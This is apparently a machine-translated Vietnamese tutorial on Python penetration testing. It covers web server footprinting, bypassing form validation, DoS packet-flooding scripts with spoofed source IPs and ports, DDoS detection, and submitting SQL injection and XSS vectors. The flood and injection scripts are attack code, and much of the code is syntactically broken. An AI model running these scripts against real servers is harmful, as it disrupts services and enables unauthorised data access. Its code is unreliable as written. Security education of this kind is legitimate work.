Tại sao chúng ta cần xem xét sự an toàn của máy chủ web? Đó là bởi vì với tốc độ phát triển nhanh chóng của ngành thương mại điện tử, mục tiêu hàng đầu của những kẻ tấn công là máy chủ web. Đối với việc áp dụng máy chủ web, chúng ta phải biết về máy chủ web, phần mềm lưu trữ và hệ điều hành của nó cùng với các ứng dụng đang chạy trên chúng. Thu thập thông tin như vậy về máy chủ web được gọi là dấu chân của máy chủ web.
Trong phần tiếp theo của chúng tôi, chúng tôi sẽ thảo luận về các phương pháp khác nhau để in dấu chân của máy chủ web.
Các phương pháp in dấu chân máy chủ web
Máy chủ web là phần mềm hoặc phần cứng máy chủ dành riêng để xử lý các yêu cầu và phục vụ các phản hồi. Đây là một lĩnh vực quan trọng mà pentester tập trung vào trong khi thực hiện kiểm tra thâm nhập của các máy chủ web.
Bây giờ chúng ta hãy thảo luận về một số phương pháp, được triển khai bằng Python, có thể được thực thi để in dấu chân máy chủ web -
Kiểm tra tính khả dụng của các phương thức HTTP
Một thực hành rất tốt cho người kiểm tra thâm nhập là bắt đầu bằng cách liệt kê các phương thức HTTP có sẵn khác nhau. Sau đây là một tập lệnh Python với sự trợ giúp của chúng tôi có thể kết nối với máy chủ web mục tiêu và liệt kê các phương thức HTTP có sẵn:
Để bắt đầu, chúng ta cần nhập thư viện yêu cầu -
import requests
Sau khi nhập thư viện yêu cầu, hãy tạo một mảng các phương thức HTTP mà chúng tôi sẽ gửi. Chúng tôi sẽ sử dụng một số phương pháp tiêu chuẩn như 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' và phương pháp không chuẩn 'TEST' để kiểm tra cách máy chủ web có thể xử lý đầu vào không mong muốn.
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
Dòng mã sau là vòng lặp chính của tập lệnh, sẽ gửi các gói HTTP đến máy chủ web và in ra phương thức và mã trạng thái.
for method in method_list:
req = requests.request(method, 'Enter the URL’)
print (method, req.status_code, req.reason)
Dòng tiếp theo sẽ kiểm tra khả năng truy tìm trang web chéo (XST) bằng cách gửi phương thức TRACE.
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
print ('Cross Site Tracing(XST) is possible')
Sau khi chạy tập lệnh trên cho một máy chủ web cụ thể, chúng tôi sẽ nhận được 200 phản hồi OK cho một phương pháp cụ thể được máy chủ web chấp nhận. Chúng tôi sẽ nhận được phản hồi 403 Forbidden nếu máy chủ web từ chối rõ ràng phương pháp này. Khi chúng tôi gửi phương pháp TRACE để thử nghiệm theo dõi trang web chéo (XST), chúng tôi sẽ nhận được405 Not Allowed phản hồi từ máy chủ web nếu không chúng tôi sẽ nhận được thông báo ‘Cross Site Tracing(XST) is possible’.
In chân bằng cách kiểm tra tiêu đề HTTP
Tiêu đề HTTP được tìm thấy trong cả yêu cầu và phản hồi từ máy chủ web. Chúng cũng mang thông tin rất quan trọng về máy chủ. Đó là lý do tại sao người kiểm tra thâm nhập luôn quan tâm đến việc phân tích thông tin thông qua tiêu đề HTTP. Sau đây là một tập lệnh Python để lấy thông tin về tiêu đề của máy chủ web:
Để bắt đầu, hãy để chúng tôi nhập thư viện yêu cầu -
import requests
Chúng tôi cần gửi một yêu cầu GET đến máy chủ web. Dòng mã sau tạo một yêu cầu GET đơn giản thông qua thư viện yêu cầu.
request = requests.get('enter the URL')
Tiếp theo, chúng tôi sẽ tạo một danh sách các tiêu đề mà bạn cần thông tin.
header_list = [
'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]
Tiếp theo là một khối thử và loại trừ.
for header in header_list:
try:
result = request.header_list[header]
print ('%s: %s' % (header, result))
except Exception as err:
print ('%s: No Details Found' % header)
Sau khi chạy tập lệnh trên cho một máy chủ web cụ thể, chúng tôi sẽ nhận được thông tin về các tiêu đề được cung cấp trong danh sách tiêu đề. Nếu không có thông tin cho một tiêu đề cụ thể thì nó sẽ đưa ra thông báo 'Không tìm thấy chi tiết'. Bạn cũng có thể tìm hiểu thêm về các trường HTTP_header từ liên kết -https://www.tutorialspoint.com/http/http_header_fields.htm.
Kiểm tra cấu hình máy chủ web không an toàn
Chúng tôi có thể sử dụng thông tin tiêu đề HTTP để kiểm tra cấu hình máy chủ web không an toàn. Trong tập lệnh Python sau, chúng tôi sẽ sử dụng khối try / trừ để kiểm tra tiêu đề máy chủ web không an toàn cho số lượng URL được lưu trong tên tệp văn bảnwebsites.txt -
import requests
urls = open("websites.txt", "r")
for url in urls:
url = url.strip()
req = requests.get(url)
print (url, 'report:')
try:
protection_xss = req.headers['X-XSS-Protection']
if protection_xss != '1; mode = block':
print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
except:
print ('X-XSS-Protection not set, it may be possible')
try:
options_content_type = req.headers['X-Content-Type-Options']
if options_content_type != 'nosniff':
print ('X-Content-Type-Options not set properly:', options_content_type)
except:
print ('X-Content-Type-Options not set')
try:
transport_security = req.headers['Strict-Transport-Security']
except:
print ('HSTS header not set properly, Man in the middle attacks is possible')
try:
content_security = req.headers['Content-Security-Policy']
print ('Content-Security-Policy set:', content_security)
except:
print ('Content-Security-Policy missing')
Dấu chân của một ứng dụng web
Trong phần trước, chúng ta đã thảo luận về việc in dấu chân của một máy chủ web. Tương tự, việc in dấu chân của một ứng dụng web cũng được coi là quan trọng theo quan điểm của một người kiểm tra thâm nhập.
Trong phần tiếp theo, chúng ta sẽ tìm hiểu về các phương pháp khác nhau để tạo dấu chân của một ứng dụng web.
Phương pháp in chân ứng dụng web
Ứng dụng web là một chương trình khách-máy chủ, được chạy bởi khách hàng trong một máy chủ web. Đây là một lĩnh vực quan trọng khác mà pentester tập trung vào trong khi thực hiện kiểm tra thâm nhập của ứng dụng web.
Bây giờ chúng ta hãy thảo luận về các phương pháp khác nhau, được triển khai bằng Python, có thể được sử dụng để in dấu chân của một ứng dụng web -
Thu thập thông tin bằng trình phân tích cú pháp BeautifulSoup
Giả sử chúng ta muốn thu thập tất cả các siêu liên kết từ một trang web; chúng ta có thể sử dụng một trình phân tích cú pháp tên là BeautifulSoup. Trình phân tích cú pháp là một thư viện Python để kéo dữ liệu ra khỏi các tệp HTML và XML. Nó có thể được sử dụng vớiurlib bởi vì nó cần một đầu vào (tài liệu hoặc url) để tạo một đối tượng súp và nó không thể tự tìm nạp trang web.
Để bắt đầu, hãy để chúng tôi nhập các gói cần thiết. Chúng tôi sẽ nhập urlib vàBeautifulSoup. Hãy nhớ trước khi nhập BeautifulSoup, chúng ta cần cài đặt nó.
import urllib
from bs4 import BeautifulSoup
Tập lệnh Python đưa ra bên dưới sẽ thu thập tiêu đề của trang web và các siêu liên kết -
Bây giờ, chúng ta cần một biến, có thể lưu trữ URL của trang web. Ở đây, chúng tôi sẽ sử dụng một biến có tên là 'url'. Chúng tôi cũng sẽ sử dụngpage.read() hàm có thể lưu trữ trang web và gán trang web cho biến html_page.
url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()
Các html_page sẽ được gán làm đầu vào để tạo đối tượng súp.
soup_object = BeautifulSoup(html_page)
Hai dòng tiếp theo sẽ in tên tiêu đề có thẻ và không có thẻ tương ứng.
print soup_object.title
print soup_object.title.text
Dòng mã hiển thị bên dưới sẽ lưu tất cả các siêu liên kết.
for link in soup_object.find_all('a'):
print(link.get('href'))
Lấy biểu ngữ
Banner giống như một tin nhắn văn bản chứa thông tin về máy chủ và lấy banner là quá trình tìm nạp thông tin do chính banner đó cung cấp. Bây giờ, chúng ta cần biết cách tạo biểu ngữ này. Nó được tạo ra bởi tiêu đề của gói được gửi đi. Và trong khi máy khách cố gắng kết nối với một cổng, máy chủ sẽ phản hồi vì tiêu đề chứa thông tin về máy chủ.
Tập lệnh Python sau giúp lấy biểu ngữ bằng lập trình socket:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))
def garb(s:)
try:
s.send('GET HTTP/1.1 \r\n')
ret = sock.recv(1024)
print ('[+]' + str(ret))
return
except Exception as error:
print ('[-]' Not information grabbed:' + str(error))
return
Sau khi chạy tập lệnh trên, chúng ta sẽ nhận được loại thông tin tương tự về tiêu đề như chúng ta đã nhận được từ tập lệnh Python về dấu chân của tiêu đề HTTP trong phần trước.
Trong chương này, chúng ta sẽ tìm hiểu cách xác thực giúp ích như thế nào trong Python Pentesting.
Mục tiêu chính của xác thực là kiểm tra và đảm bảo rằng người dùng đã cung cấp thông tin cần thiết và được định dạng đúng cần thiết để hoàn thành một hoạt động thành công.
Có hai loại xác thực khác nhau -
- xác thực phía máy khách (trình duyệt web)
- xác thực phía máy chủ
Xác thực phía máy chủ & Xác thực phía máy khách
Xác thực đầu vào của người dùng diễn ra ở phía máy chủ trong phiên đăng lại được gọi là server-side validation. Các ngôn ngữ như PHP và ASP.Net sử dụng xác thực phía máy chủ. Sau khi quá trình xác thực ở phía máy chủ kết thúc, phản hồi sẽ được gửi lại cho máy khách bằng cách tạo một trang web mới và động. Với sự trợ giúp của xác thực phía máy chủ, chúng tôi có thể được bảo vệ khỏi những người dùng độc hại.
Mặt khác, xác thực đầu vào của người dùng diễn ra ở phía máy khách được gọi là xác thực phía máy khách. Các ngôn ngữ kịch bản như JavaScript và VBScript được sử dụng choclient-side validation. Trong loại xác thực này, tất cả xác nhận đầu vào của người dùng chỉ được thực hiện trong trình duyệt của người dùng. Nó không an toàn như xác thực phía máy chủ vì tin tặc có thể dễ dàng bỏ qua ngôn ngữ kịch bản phía máy khách của chúng tôi và gửi thông tin đầu vào nguy hiểm đến máy chủ.
Tempering Thông số phía máy khách: Bỏ qua xác thực
Việc truyền tham số trong giao thức HTTP có thể được thực hiện với sự trợ giúp của các phương thức POST và GET. GET được sử dụng để yêu cầu dữ liệu từ một tài nguyên cụ thể và POST được sử dụng để gửi dữ liệu đến máy chủ để tạo hoặc cập nhật tài nguyên. Một điểm khác biệt chính giữa cả hai phương pháp này là nếu một trang web đang sử dụng phương thức GET thì các tham số truyền được hiển thị trong URL và chúng tôi có thể thay đổi tham số này và chuyển nó đến máy chủ web. Ví dụ: chuỗi truy vấn (cặp tên / giá trị) được gửi trong URL của một yêu cầu GET:/test/hello_form.php?name1 = value1&name2 = value2. Mặt khác, các tham số không được hiển thị khi sử dụng phương thức POST. Dữ liệu được gửi đến máy chủ với POST được lưu trữ trong phần thân yêu cầu của HTTP request. Ví dụ: ĐĂNG/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.
Mô-đun Python để bỏ qua xác thực
Mô-đun Python mà chúng tôi sẽ sử dụng là mechanize. Nó là một trình duyệt web Python, cung cấp phương tiện lấy các biểu mẫu web trong một trang web và cũng tạo điều kiện cho việc gửi các giá trị đầu vào. Với sự trợ giúp của cơ khí hóa, chúng tôi có thể bỏ qua các thông số xác thực và tạm thời phía máy khách. Tuy nhiên, trước khi nhập nó vào tập lệnh Python của chúng tôi, chúng ta cần cài đặt nó bằng cách thực hiện lệnh sau:
pip install mechanize
Thí dụ
Sau đây là một tập lệnh Python, sử dụng cơ khí hóa để bỏ qua xác thực của một biểu mẫu web bằng cách sử dụng phương thức POST để truyền tham số. Mẫu web có thể được lấy từ liên kếthttps://www.tutorialspoint.com/php/php_validation_example.htm và có thể được sử dụng trong bất kỳ trang web giả nào mà bạn lựa chọn.
Để bắt đầu, hãy để chúng tôi nhập trình duyệt cơ giới hóa -
import mechanize
Bây giờ, chúng ta sẽ tạo một đối tượng có tên brwsr của trình duyệt cơ giới hóa -
brwsr = mechanize.Browser()
Dòng mã tiếp theo cho thấy tác nhân người dùng không phải là rô bốt.
brwsr.set_handle_robots( False )
Bây giờ, chúng tôi cần cung cấp url của trang web giả có chứa biểu mẫu web mà chúng tôi cần bỏ qua xác thực.
url = input("Enter URL ")
Bây giờ, các dòng sau sẽ đặt một số dấu ngoặc kép thành true.
brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)
Tiếp theo nó sẽ mở trang web và in biểu mẫu web trên trang đó.
brwsr.open(url)
for form in brwsr.forms():
print form
Dòng mã tiếp theo sẽ bỏ qua xác thực trên các trường nhất định.
brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()
Phần cuối cùng của tập lệnh có thể được thay đổi theo các trường của biểu mẫu web mà chúng tôi muốn bỏ qua xác thực. Ở đây trong đoạn mã trên, chúng tôi đã lấy hai trường -‘name’ và ‘gender’ không thể để trống (bạn có thể thấy trong mã hóa của biểu mẫu web) nhưng tập lệnh này sẽ bỏ qua xác thực đó.
Trong chương này, chúng ta sẽ tìm hiểu về cuộc tấn công DoS và DdoS và hiểu cách phát hiện chúng.
Với sự bùng nổ của ngành thương mại điện tử, máy chủ web hiện nay rất dễ bị tấn công và là mục tiêu dễ dàng của tin tặc. Tin tặc thường cố gắng thực hiện hai kiểu tấn công:
- DoS (Từ chối dịch vụ)
- DDoS (Từ chối dịch vụ được phân phối)
Tấn công DoS (Denial-of-Service)
Tấn công từ chối dịch vụ (DoS) là một nỗ lực của tin tặc nhằm làm cho tài nguyên mạng không khả dụng. Nó thường làm gián đoạn máy chủ, tạm thời hoặc vô thời hạn, được kết nối với Internet. Các cuộc tấn công này thường nhắm vào các dịch vụ được lưu trữ trên các máy chủ web quan trọng như ngân hàng, cổng thanh toán thẻ tín dụng.
Các triệu chứng của cuộc tấn công DoS
Hiệu suất mạng chậm bất thường.
Không có sẵn một trang web cụ thể.
Không có khả năng truy cập bất kỳ trang web nào.
Số lượng email spam nhận được tăng đáng kể.
Từ chối lâu dài quyền truy cập vào web hoặc bất kỳ dịch vụ Internet nào.
Không có sẵn một trang web cụ thể.
Các loại tấn công DoS và triển khai Python của nó
Tấn công DoS có thể được thực hiện ở lớp liên kết dữ liệu, mạng hoặc ứng dụng. Bây giờ chúng ta hãy tìm hiểu về các loại tấn công DoS &; triển khai của họ bằng Python -
Cổng đơn IP đơn
Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng một IP và từ một số cổng. Đây là một cuộc tấn công cấp thấp được sử dụng để kiểm tra hoạt động của máy chủ web. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh python sau sẽ giúp thực hiện tấn công DoS cổng đơn IP:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
Khi thực thi, tập lệnh trên sẽ yêu cầu ba điều sau:
Địa chỉ IP của nguồn và đích.
Địa chỉ IP của số cổng nguồn.
Sau đó, nó sẽ gửi một số lượng lớn các gói đến máy chủ để kiểm tra hành vi của nó.
Nhiều cổng IP đơn
Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng một IP và từ nhiều cổng. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh python sau sẽ giúp thực hiện tấn công DoS nhiều cổng IP đơn:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
Nhiều IP cổng đơn
Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng nhiều IP và từ một số cổng. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh Python sau thực hiện tấn công DoS nhiều cổng IP đơn -
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
Nhiều IP nhiều cổng
Một số lượng lớn các gói được gửi đến máy chủ web bằng cách sử dụng nhiều IP và từ nhiều cổng. Việc triển khai nó bằng Python có thể được thực hiện với sự trợ giúp của Scapy. Tập lệnh Python sau giúp triển khai tấn công DoS nhiều IP nhiều cổng -
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
Tấn công DDoS (Từ chối Dịch vụ Phân tán)
Một cuộc tấn công từ chối dịch vụ phân tán (DDoS) là một nỗ lực làm cho một dịch vụ trực tuyến hoặc một trang web không khả dụng bằng cách làm nó quá tải với một lượng lớn lưu lượng truy cập được tạo ra từ nhiều nguồn.
Không giống như tấn công từ chối dịch vụ (DoS), trong đó một máy tính và một kết nối Internet được sử dụng để làm ngập tài nguyên được nhắm mục tiêu với các gói tin, một cuộc tấn công DDoS sử dụng nhiều máy tính và nhiều kết nối Internet, thường được phân phối trên toàn cầu dưới dạng botnet . Một cuộc tấn công DDoS thể tích quy mô lớn có thể tạo ra một lưu lượng được đo bằng hàng chục Gigabit (và thậm chí hàng trăm Gigabit) mỗi giây. Nó có thể được đọc chi tiết tạihttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.
Phát hiện DDoS bằng Python
Trên thực tế, cuộc tấn công DDoS hơi khó phát hiện vì bạn không biết máy chủ đang gửi lưu lượng truy cập là giả hay thật. Tập lệnh Python đưa ra bên dưới sẽ giúp phát hiện cuộc tấn công DDoS.
Để bắt đầu, hãy để chúng tôi nhập các thư viện cần thiết -
import socket
import struct
from datetime import datetime
Bây giờ, chúng ta sẽ tạo một socket như chúng ta đã tạo trong các phần trước.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Chúng tôi sẽ sử dụng một từ điển trống -
dict = {}
Dòng mã sau sẽ mở một tệp văn bản, có chi tiết về cuộc tấn công DDoS ở chế độ nối thêm.
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
Với sự trợ giúp của dòng mã sau, thời gian hiện tại sẽ được ghi bất cứ khi nào chương trình chạy.
file_txt.writelines(t1)
file_txt.writelines("\n")
Bây giờ, chúng ta cần giả sử các lần truy cập từ một IP cụ thể. Ở đây chúng tôi giả định rằng nếu một IP cụ thể bị tấn công hơn 15 lần thì đó sẽ là một cuộc tấn công.
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
while True:
pkt = s.recvfrom(2048)
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
IP = socket.inet_ntoa(ip_hdr[3])
print "The Source of the IP is:", IP
Dòng mã sau sẽ kiểm tra xem IP có tồn tại trong từ điển hay không. Nếu nó tồn tại thì nó sẽ tăng nó lên 1.
if dict.has_key(IP):
dict[IP] = dict[IP]+1
print dict[IP]
Dòng mã tiếp theo được sử dụng để loại bỏ phần dư thừa.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
line = "DDOS attack is Detected: "
file_txt.writelines(line)
file_txt.writelines(IP)
file_txt.writelines("\n")
else:
dict[IP] = 1
Sau khi chạy đoạn script trên, chúng ta sẽ nhận được kết quả dưới dạng tệp văn bản. Theo kịch bản, nếu một IP truy cập nhiều hơn 15 lần thì nó sẽ được in ra khi cuộc tấn công DDoS được phát hiện cùng với địa chỉ IP đó.
SQL injection là một tập hợp các lệnh SQL được đặt trong một chuỗi URL hoặc trong cấu trúc dữ liệu để truy xuất phản hồi mà chúng tôi muốn từ cơ sở dữ liệu được kết nối với các ứng dụng web. Loại tấn công này thường diễn ra trên các trang web được phát triển bằng PHP hoặc ASP.NET.
Một cuộc tấn công SQL injection có thể được thực hiện với những mục đích sau:
Để sửa đổi nội dung của cơ sở dữ liệu
Để sửa đổi nội dung của cơ sở dữ liệu
Để thực hiện các truy vấn khác nhau không được ứng dụng cho phép
Kiểu tấn công này hoạt động khi các ứng dụng không xác nhận đầu vào đúng cách, trước khi chuyển chúng sang câu lệnh SQL. Thuốc tiêm thường được đặt trong thanh địa chỉ, trường tìm kiếm hoặc trường dữ liệu.
Cách dễ nhất để phát hiện xem một ứng dụng web có dễ bị tấn công SQL injection hay không là sử dụng ký tự "'" trong một chuỗi và xem bạn có gặp lỗi nào không.
Các kiểu tấn công SQLi
Trong phần này, chúng ta sẽ tìm hiểu về các kiểu tấn công SQLi khác nhau. Cuộc tấn công có thể được phân loại thành hai loại sau:
Chèn SQL trong băng (SQLi đơn giản)
Chèn SQL tham chiếu (SQLi mù)
Chèn SQL trong băng (SQLi đơn giản)
Nó là SQL injection phổ biến nhất. Loại SQL injection này chủ yếu xảy ra khi kẻ tấn công có thể sử dụng cùng một kênh giao tiếp để khởi động cuộc tấn công và tổng hợp kết quả. Việc tiêm SQL trong băng được chia thành hai loại:
Error-based SQL injection - Một kỹ thuật SQL injection dựa trên lỗi dựa vào thông báo lỗi do máy chủ cơ sở dữ liệu ném ra để lấy thông tin về cấu trúc của cơ sở dữ liệu.
Union-based SQL injection - Đây là một kỹ thuật chèn SQL trong băng tần khác sử dụng toán tử UNION SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh SELECT thành một kết quả duy nhất, sau đó được trả về như một phần của phản hồi HTTP.
Chèn SQL tham chiếu (SQLi mù)
Trong loại tấn công SQL injection này, kẻ tấn công không thể thấy kết quả của một cuộc tấn công trong băng vì không có dữ liệu nào được truyền qua ứng dụng web. Đây là lý do nó còn được gọi là Blind SQLi. Việc đưa vào SQL tham chiếu còn có hai loại:
Boolean-based blind SQLi - Loại kỹ thuật này dựa vào việc gửi một truy vấn SQL đến cơ sở dữ liệu, điều này buộc ứng dụng trả về một kết quả khác tùy thuộc vào việc truy vấn trả về kết quả TRUE hay FALSE.
Time-based blind SQLi- Loại kỹ thuật này dựa vào việc gửi một truy vấn SQL đến cơ sở dữ liệu, buộc cơ sở dữ liệu phải đợi trong một khoảng thời gian xác định (tính bằng giây) trước khi phản hồi. Thời gian phản hồi sẽ cho kẻ tấn công biết kết quả của truy vấn là TRUE hay FALSE.
Thí dụ
Tất cả các loại SQLi có thể được thực hiện bằng cách thao tác dữ liệu đầu vào cho ứng dụng. Trong các ví dụ sau, chúng tôi đang viết một tập lệnh Python để đưa các vectơ tấn công vào ứng dụng và phân tích kết quả đầu ra để xác minh khả năng xảy ra cuộc tấn công. Ở đây, chúng tôi sẽ sử dụng mô-đun python có tênmechanize, cung cấp cho cơ sở để lấy các biểu mẫu web trong một trang web và cũng tạo điều kiện cho việc gửi các giá trị đầu vào. Chúng tôi cũng đã sử dụng mô-đun này để xác thực phía máy khách.
Tập lệnh Python sau giúp gửi biểu mẫu và phân tích phản hồi bằng cách sử dụng mechanize -
Trước hết, chúng ta cần nhập mechanize mô-đun.
import mechanize
Bây giờ, hãy cung cấp tên của URL để nhận phản hồi sau khi gửi biểu mẫu.
url = input("Enter the full url")
Dòng mã sau sẽ mở url.
request = mechanize.Browser()
request.open(url)
Bây giờ, chúng ta cần chọn biểu mẫu.
request.select_form(nr = 0)
Ở đây, chúng tôi sẽ đặt tên cột là 'id'.
request["id"] = "1 OR 1 = 1"
Bây giờ, chúng ta cần gửi biểu mẫu.
response = request.submit()
content = response.read()
print content
Tập lệnh trên sẽ in phản hồi cho yêu cầu ĐĂNG. Chúng tôi đã gửi một vectơ tấn công để phá vỡ truy vấn SQL và in tất cả dữ liệu trong bảng thay vì một hàng. Tất cả các vectơ tấn công sẽ được lưu trong một tệp văn bản như vectors.txt. Bây giờ, tập lệnh Python được đưa ra bên dưới sẽ lấy các vectơ tấn công đó từ tệp và gửi chúng đến máy chủ từng cái một. Nó cũng sẽ lưu đầu ra vào một tệp.
Để bắt đầu, chúng ta hãy nhập mô-đun cơ khí hóa.
import mechanize
Bây giờ, hãy cung cấp tên của URL để nhận phản hồi sau khi gửi biểu mẫu.
url = input("Enter the full url")
attack_no = 1
Chúng ta cần đọc các vectơ tấn công từ tệp.
With open (‘vectors.txt’) as v:
Bây giờ chúng tôi sẽ gửi yêu cầu với mỗi vector mảng
For line in v:
browser.open(url)
browser.select_form(nr = 0)
browser[“id”] = line
res = browser.submit()
content = res.read()
Bây giờ, dòng mã sau sẽ ghi phản hồi vào tệp đầu ra.
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1
Bằng cách kiểm tra và phân tích các phản hồi, chúng tôi có thể xác định các cuộc tấn công có thể xảy ra. Ví dụ: nếu nó cung cấp câu trả lời bao gồm câuYou have an error in your SQL syntax thì nó có nghĩa là biểu mẫu có thể bị ảnh hưởng bởi SQL injection.
Các cuộc tấn công tập lệnh chéo trang web là một kiểu tiêm cũng đề cập đến cuộc tấn công chèn mã phía máy khách. Tại đây, các mã độc hại được đưa vào một trang web hợp pháp. Khái niệm Chính sách nguồn gốc giống nhau (SOP) rất hữu ích trong việc hiểu khái niệm về kịch bản chéo trang. SOP là nguyên tắc bảo mật quan trọng nhất trong mọi trình duyệt web. Nó cấm các trang web lấy nội dung từ các trang có nguồn gốc khác. Ví dụ: trang web www.tutorialspoint.com/index.html có thể truy cập nội dung từwww.tutorialspoint.com/contact.htmlnhưng www.virus.com/index.html không thể truy cập nội dung từwww.tutorialspoint.com/contact.html. Bằng cách này, chúng ta có thể nói rằng tập lệnh giữa các trang web là một cách để vượt qua chính sách bảo mật SOP.
Các loại tấn công XSS
Trong phần này, hãy cùng chúng tôi tìm hiểu về các loại tấn công XSS khác nhau. Cuộc tấn công có thể được phân loại thành các loại chính sau:
- XSS liên tục hoặc được lưu trữ
- XSS không liên tục hoặc được phản ánh
XSS liên tục hoặc được lưu trữ
Trong kiểu tấn công XSS này, kẻ tấn công đưa vào một tập lệnh, được gọi là tải trọng, được lưu trữ vĩnh viễn trên ứng dụng web mục tiêu, chẳng hạn như trong cơ sở dữ liệu. Đây là lý do, nó được gọi là cuộc tấn công XSS dai dẳng. Nó thực sự là kiểu tấn công XSS gây tổn hại nhất. Ví dụ, một mã độc được kẻ tấn công chèn vào trường bình luận trên blog hoặc trong bài đăng trên diễn đàn.
XSS không liên tục hoặc được phản ánh
Đây là kiểu tấn công XSS phổ biến nhất trong đó trọng tải của kẻ tấn công phải là một phần của yêu cầu, được gửi đến máy chủ web và phản ánh, trở lại theo cách mà phản hồi HTTP bao gồm trọng tải từ yêu cầu HTTP. Đây là một cuộc tấn công không dai dẳng vì kẻ tấn công cần phải phân phối tải trọng cho mỗi nạn nhân. Ví dụ phổ biến nhất của các loại tấn công XSS như vậy là các email lừa đảo với sự trợ giúp của kẻ tấn công thu hút nạn nhân thực hiện yêu cầu đến máy chủ chứa các trọng tải XSS và kết thúc việc thực thi tập lệnh được phản ánh và thực thi bên trong trình duyệt .
Thí dụ
Tương tự như SQLi, các cuộc tấn công web XSS có thể được thực hiện bằng cách thao tác dữ liệu đầu vào vào ứng dụng. Trong các ví dụ sau, chúng tôi đang sửa đổi các vectơ tấn công SQLi, được thực hiện trong phần trước, để kiểm tra tấn công web XSS. Tập lệnh Python đưa ra bên dưới giúp phân tích cuộc tấn công XSS bằng cách sử dụngmechanize -
Để bắt đầu, hãy để chúng tôi nhập mechanize mô-đun.
import mechanize
Bây giờ, hãy cung cấp tên của URL để nhận phản hồi sau khi gửi biểu mẫu.
url = input("Enter the full url")
attack_no = 1
Chúng ta cần đọc các vectơ tấn công từ tệp.
With open (‘vectors_XSS.txt’) as x:
Bây giờ chúng tôi sẽ gửi yêu cầu với mỗi vector mảng -
For line in x:
browser.open(url)
browser.select_form(nr = 0)
browser[“id”] = line
res = browser.submit()
content = res.read()
Dòng mã sau sẽ kiểm tra vector tấn công được in.
if content.find(line) > 0:
print(“Possible XSS”)
Dòng mã sau sẽ viết phản hồi vào tệp đầu ra.
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1
XSS xảy ra khi đầu vào của người dùng in ra phản hồi mà không có bất kỳ xác thực nào. Do đó, để kiểm tra khả năng xảy ra tấn công XSS, chúng tôi có thể kiểm tra văn bản phản hồi cho vectơ tấn công mà chúng tôi đã cung cấp. Nếu vectơ tấn công hiện diện trong phản hồi mà không có bất kỳ lối thoát hoặc xác thực nào, thì khả năng cao là tấn công XSS.